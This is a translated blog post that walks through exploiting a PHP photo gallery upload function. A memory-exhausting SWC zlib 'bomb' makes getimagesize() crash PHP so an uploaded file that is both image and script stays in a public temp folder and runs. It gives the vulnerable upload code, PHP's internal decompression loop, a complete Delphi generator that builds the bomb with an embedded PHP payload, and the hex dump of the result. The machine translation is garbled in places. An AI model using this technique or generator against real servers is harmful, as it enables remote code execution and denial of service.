📜 ⬆️ ⬇️

Dangerous getimagesize () or zip bomb for PHP

Recursion

Autumn came to St. Petersburg again, and the working mood, which had been constantly attacked by solar radiation for the whole week, decided that it was enough, and flew away to the window that had not yet been battened down.

“Great,” I thought, “it's time to pick up some engine before it comes back!”
')
No sooner said than done. Under the cut, I offer a small overview of the vulnerability in the popular PHP photo gallery engine and how to put any website using getimagesize() using a bearded zip-bomb (or a peta-bomb).

As you know, the purpose of any hacking is a barrel of honey to attempt to drag off something - either from the client’s side (we mean XSS), or from the server side (we mean RCE, Remote Code Execution). The latter, of course, is associated with pleasant communication, which is much more promising - having the ability to execute code ( shell.php aka " eBay Style ") can drag the entire user base, and at the same time add a couple of XSS.

The most direct route to RCE is the ability to upload files to the server. This can be done under different sauces - most often in the form of cats ... I beg your pardon, images. In fact, today any self-respecting forum or social network allows us to upload at least avatars.

But it is not enough just to upload the code to the server — you need to force it (the server) to execute this code. Here, the builders of democracy come to the aid of the problems with setting try_files in nginx , and trimming the line with %00 , and even a trivial MIME check bypass and loading *.php directly (but this is quite a hard case, the engines sinning with this probably still have a couple of dozen other holes).

And even when the code is loaded and does not have the necessary extension - it still needs to be found. Often, the engines generate file names randomly, sometimes sequentially based on the ID of the entry in the database. However, this is usually less of a problem than the actual loading of the script itself.

As you can see, there are plenty of opportunities to make a hacker’s life more difficult. However, sometimes there are very funny shoals, and about one of these below.

When size matters


In the engine I am considering, only one function is responsible for downloading files and it starts like this:
 function process_upload($upload) { $ext = explode('.', $upload['name']); $ext = strtolower($ext[count($ext)-1]); $filename = md5_file($upload['tmp_name']); move_uploaded_file($upload['tmp_name'], 'temp/'.$filename.'.'.$ext); $info = getimagesize('temp/'.$filename.'.'.$ext); $tmp_ext = str_replace('image/', '', $info['mime']); if ($ext != $tmp_ext) { rename('temp/'.$filename.'.'.$ext, 'temp/'.$filename.'.'.$tmp_ext); $ext = $tmp_ext; } if ($ext != 'jpg' && $ext != 'jpeg' && $ext != 'gif' && $ext != 'png') { unlink('temp/'.$filename.'.'.$ext); return false; } //  ,    . 

The process_upload() function at entry gets an entry from $_FILES - that is, an array of this format:
 $upload = array( 'name' => '_.jpg', 'tmp_name' => '/var/tmp/php-upload.temp', ) 

As you can see, the following happens here:

  1. Generating the name of the final file by its contents (aka md5sum $tmp_name )
  2. Add to this name the original extension
  3. Move the downloaded file to a temporary folder by this name ; the folder is visible from the outside as example.com/temp
  4. Check file format - if the extension is different from the one that matches the format, the file in the temporary folder is renamed as the "real" extension
  5. If the file is not an image, it is deleted.

What is extremely interesting for us is what is happening between points 3 and 4. There are at least two operations between checking for lice on the file format and deleting this file: a call to getimagesize() and rename() . The latter is of little interest to us - it really works quickly, or it does not work - but then PHP issues a warning and unlink() is executed, which sweeps up traces.

But getimagesize() worries us very much. Can we make her “wait” while we run our script in temp ?

Use the sources, Luke


Checking the file format is a potentially difficult operation. This function has existed in PHP for a dozen years, it does not need the GD library, and it is included in all interpreter assemblies. It supports 20 formats and the code of its module takes up almost 1500 lines. Naturally, there must be something there that we can exploit.

As any business begins with a well-thought-out plan, so every white box-pentest starts with the source code. The module of interest is php-5.5.12\ext\standard\image.c . After a few minutes of studying the code, I came across a very interesting function that works with the SWC format — Shockwave Flash Compressed (I’ve heard about this for the first time). Namely:
 //     stream   4- ,    'CWS'. static struct gfxinfo *php_handle_swc(php_stream * stream TSRMLS_DC) { struct gfxinfo *result = NULL; long bits; unsigned char a[64]; unsigned long len=64, szlength; int factor=1,maxfactor=16; int slength, status=0; char *b, *buf=NULL, *bufz=NULL; b = ecalloc (1, len + 1); if (php_stream_seek(stream, 5, SEEK_CUR)) return NULL; if (php_stream_read(stream, a, sizeof(a)) != sizeof(a)) return NULL; if (uncompress(b, &len, a, sizeof(a)) != Z_OK) { /* failed to decompress the file, will try reading the rest of the file */ if (php_stream_seek(stream, 8, SEEK_SET)) return NULL; slength = php_stream_copy_to_mem(stream, &bufz, PHP_STREAM_COPY_ALL, 0); /* * zlib::uncompress() wants to know the output data length * if none was given as a parameter * we try from input length * 2 up to input length * 2^8 * doubling it whenever it wasn't big enough * that should be eneugh for all real life cases */ do { szlength=slength*(1<<factor++); buf = (char *) erealloc(buf,szlength); status = uncompress(buf, &szlength, bufz, slength); } while ((status==Z_BUF_ERROR)&&(factor<maxfactor)); 

The code is interesting because if an unsuccessful attempt to unpack the first 64 bytes after the header (that is, starting from 0x08), it enters the loop, trying to unpack the entire input buffer up to 9 times. This should be a resource-intensive operation and should give us a couple of hundred milliseconds to go to our script. And even though there is a flood.

... After half an hour of various abuse of the compressed data, I was never able to achieve any significant delay. Either my system is too fast, or it’s really a problem to unclench a couple of hundred megabytes 8 times in a row for Zlib. I was ready to move to find the next vulnerability, like ...

“Wait ... a couple hundred megabytes?”

Facepalm

640 petabytes is enough for everyone


Who remembers - in the early 2000s, some mail servers that tried to filter archives with unwanted content were sent this way. The essence of the attack is simple: if a compression algorithm similar to LZ passes through a compressible stream, finding fragments already encountered in it and replacing them with links (say, two-byte), then we can create an archive that for every 4 bytes (2 for offset) and 2 for the length) compressed data will create 65536 decompressed bytes. Thus, 4 kilobytes after unpacking will become 64 megabytes. It is enough to score the entire input file with the same symbol. This is simplistic.

In practice, a real LZ will not work as effectively, but even without any tricks with a simple zip we can get a 10 MB file from the source file with zero GB of 11 GB.

PHP is by default configured to maximize the file load of 2 MB and the maximum memory available to the script is 128 MB. It is easy to calculate that a two-megabyte archive will require about one gigabyte of memory for unpacking. Often servers are configured to allow 5-10 megabyte files, especially when it comes to file storage ... or photo galleries.

Returning to our cats. As can be seen from the php_handle_swc() function code, we just need to create a file of the following form:
 0000h: 43 57 53 00 00 00 00 00 78 DA CWS.....xÚ 

The first 3 bytes are the magic signature of the SWC format, the next 5 are the header (not used in php_handle_swc() ), and then the compressed Zlib stream is php_handle_swc() . Here it begins with 78 DA , which corresponds to the maximum degree of compression.

It is enough for us to spoil some piece of data in a compressed stream and PHP will enter the unpacking cycle, try to unpack our “bomb”, the script will run out of allocated memory - and ... the interpreter will interrupt its execution!

This means that try..catch (if it was) will not be called and will not be able to handle the exception - by deleting our file, for example - and only if the script has installed its register_shutdown_handler() handler, then it will be called and an exception will be tracked there . But usually they do not do this, since this is not a completely “logical” logic. Although in the spirit of the old PHP.

(For completeness, I must say that Zlib support in PHP can be disabled, and as a result, SWC support in getimagesize() is also. However, most servers use Zlib.)

Bomb Generator on my favorite Delphi:
 program BombSWC; {$APPTYPE CONSOLE} uses ZLibEx, Classes; const Header = 'CWS'#0#0#0#0#0; var I: Integer; Input: String; Buf: Pointer; Stream: TFileStream; begin SetLength(Input, 800 * 1024 * 1024); // 800 ??. FillChar(Input[1], Length(Input), 0); ZCompress(@Input[1], Length(Input), Buf, I, zcMax); Stream := TFileStream.Create('bomb.php', fmCreate); Stream.WriteBuffer(Header[1], Length(Header)); Stream.WriteBuffer(Buf^, I); Stream.Seek(-1000, soFromEnd); Input := '<?php phpinfo();?>'; Stream.WriteBuffer(Input[1], Length(Input)); Stream.Free; end. 

As a result, out of 800 MB, we get 796 KB and they look like this:
 0:0000h: 43 57 53 00 00 00 00 00 78 DA EC C1 01 01 00 00 CWS.....xÚìÁ.... 0:0010h: 00 80 90 FE AF EE 08 0A 00 00 00 00 00 00 00 00 .€ ...   ... C:6D00h: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ C:6D10h: 00 00 00 00 3C 3F 70 68 70 20 70 68 70 69 6E 66 ....<?php phpinf C:6D20h: 6F 28 29 3B 3F 3E 00 00 00 00 00 00 00 00 00 00 o();?>.......... C:6D30h: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ ...     ... C:70E0h: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ C:70F0h: 00 00 00 00 00 00 BF 00 EE 1E 00 01 ......¿.î... 

The file above is a valid PHP script, who does not believe can be sure. Yes, he will bring out the garbage at the beginning and at the end, but this will not prevent him from running.

It remains only to upload our “picture” to the server ...

Fatal error: Allowed memory size of 536870912 bytes exhausted (tried to allocate 834916352 bytes)

Pwned

- General Protection Fault -

Source: https://habr.com/ru/post/224351/


All Articles